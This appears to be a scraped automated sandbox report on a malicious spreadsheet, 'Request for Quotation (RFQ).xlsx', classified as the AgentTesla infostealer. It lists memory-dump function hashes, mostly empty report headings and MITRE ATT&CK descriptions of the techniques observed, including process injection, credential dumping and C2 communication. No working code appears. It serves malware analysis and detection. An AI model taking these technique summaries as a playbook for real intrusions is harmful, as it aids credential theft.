Source File: 00000005.00000002.2350805178.00000000002A0000.00000040.00000001.sdmp, Offset: 002A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9f14f4c9068807a8b162193201a97ae693d57973e9ae46e861a656425606e11
Instruction ID: 0033993ad60b36c7bf7390e3ba26875c0cbcce5cbbd653fc68375c2d886fb1ee
Opcode Fuzzy Hash: d9f14f4c9068807a8b162193201a97ae693d57973e9ae46e861a656425606e11
Instruction Fuzzy Hash: CEE06D35F200199B8F40EBB9E8455DEB3E2BF88228B004462E109D7350EF389D118BA1

Uniqueness

Uniqueness Score: -1.00%

Function 002A9577, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2350805178.00000000002A0000.00000040.00000001.sdmp, Offset: 002A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6592bce769d373704010bfa1bea9bd3988fa581506b38ec062ff102aa04429ad
Instruction ID: 0bf4d48a60cb3962e1b40b42bce45f83cf0cda7d377a51bf23a699305f138e6d
Opcode Fuzzy Hash: 6592bce769d373704010bfa1bea9bd3988fa581506b38ec062ff102aa04429ad
Instruction Fuzzy Hash: 92E06D35F200188B8F41EBF8E8455DEB3E1AF88228B008462E109D7250EF389D118BA1

Uniqueness

Uniqueness Score: -1.00%

Function 002A375F, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2350805178.00000000002A0000.00000040.00000001.sdmp, Offset: 002A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7d1587cbe4d59cfcfe428c02cd553afb715f0d93befdd248d7b244c969f368d
Instruction ID: b9cbac755531e3927bd309e41bce1f425baf4520f31a68890f1ec3af43926192
Opcode Fuzzy Hash: d7d1587cbe4d59cfcfe428c02cd553afb715f0d93befdd248d7b244c969f368d
Instruction Fuzzy Hash: C0E06575F200148B8F40EBB8F8455DEB3F1AF882287004066E109D7350DF389D158B91

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02170048, Relevance: 6.6, Strings: 5, Instructions: 329COMMON

Download Yara Rule

Strings

l?\, xrefs: 021702CE
`X\, xrefs: 02170319
H|l, xrefs: 02170224
H|l, xrefs: 02170140
H|l, xrefs: 021701B2

Memory Dump Source

Source File: 00000005.00000002.2351298702.0000000002170000.00000040.00000001.sdmp, Offset: 02170000, based on PE: false

Similarity

API ID:
String ID: `X\$l?\$H|l$H|l$H|l
API String ID: 0-1609823296
Opcode ID: 2ac1f2bd84502d1328daa3c4ed35e51e5fb2fc93209ffcedc86cb5f3fd65023f
Instruction ID: f1516996f535d93b0f52c7ec4bde78ebf78a6c18901f7b58701d2c6c1237dea8
Opcode Fuzzy Hash: 2ac1f2bd84502d1328daa3c4ed35e51e5fb2fc93209ffcedc86cb5f3fd65023f
Instruction Fuzzy Hash: E9D14874A043198FDB64DF74C880BAEB7F2AF89204F1185B9D509AB395EB349D85CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02170502, Relevance: 5.3, Strings: 4, Instructions: 283COMMON

Download Yara Rule

Strings

PW\, xrefs: 021705D3
,\\, xrefs: 02170560
H|l, xrefs: 02170611
PW\, xrefs: 021706EA

Memory Dump Source

Source File: 00000005.00000002.2351298702.0000000002170000.00000040.00000001.sdmp, Offset: 02170000, based on PE: false

Similarity

API ID:
String ID: ,\\$PW\$PW\$H|l
API String ID: 0-2104098119
Opcode ID: 5f53f4d80e97af929529996103acca5faac2d44fe410f870d7ffab0acd7cf03e
Instruction ID: 61c9a0d62a69b0e73c73796cd4b54fa43589201f1ac62d07b51d1ec6e07e8a51
Opcode Fuzzy Hash: 5f53f4d80e97af929529996103acca5faac2d44fe410f870d7ffab0acd7cf03e
Instruction Fuzzy Hash: 6DB18D34A443458FCB15CB74C854BAD7BF2AF8A304F1585AAD40AEB392DB349D86CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02170553, Relevance: 5.1, Strings: 4, Instructions: 121COMMON

Download Yara Rule

Strings

PW\, xrefs: 021705D3
,\\, xrefs: 02170560
H|l, xrefs: 02170611
PW\, xrefs: 021706EA

Memory Dump Source

Source File: 00000005.00000002.2351298702.0000000002170000.00000040.00000001.sdmp, Offset: 02170000, based on PE: false

Similarity

API ID:
String ID: ,\\$PW\$PW\$H|l
API String ID: 0-2104098119
Opcode ID: 9ee245844fab9a0b2f0fd2289c1675e0c6df213288015faff59b6a0e173ebf3f
Instruction ID: 5ba6a2349a99b3e21ba71b63fddb2083ed2c9726208b4025917f35db075d280b
Opcode Fuzzy Hash: 9ee245844fab9a0b2f0fd2289c1675e0c6df213288015faff59b6a0e173ebf3f
Instruction Fuzzy Hash: 29414D34B406198FCB14DB74C850BADB7F2AFC9304F1189A8D40AAB355DB74ED868F84

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report Request for Quotation (RFQ).xlsx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Agenttesla

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Exploits:

System Summary:

Signature Overview

AV Detection:

Exploits:

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "Request for Quotation (RFQ).xlsx"

Indicators

Streams

Stream Path: \x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace, File Type: data, Stream Size: 64

General

Stream Path: \x6DataSpaces/DataSpaceMap, File Type: data, Stream Size: 112

General

Stream Path: \x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary, File Type: data, Stream Size: 200

General

Stream Path: \x6DataSpaces/Version, File Type: data, Stream Size: 76

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre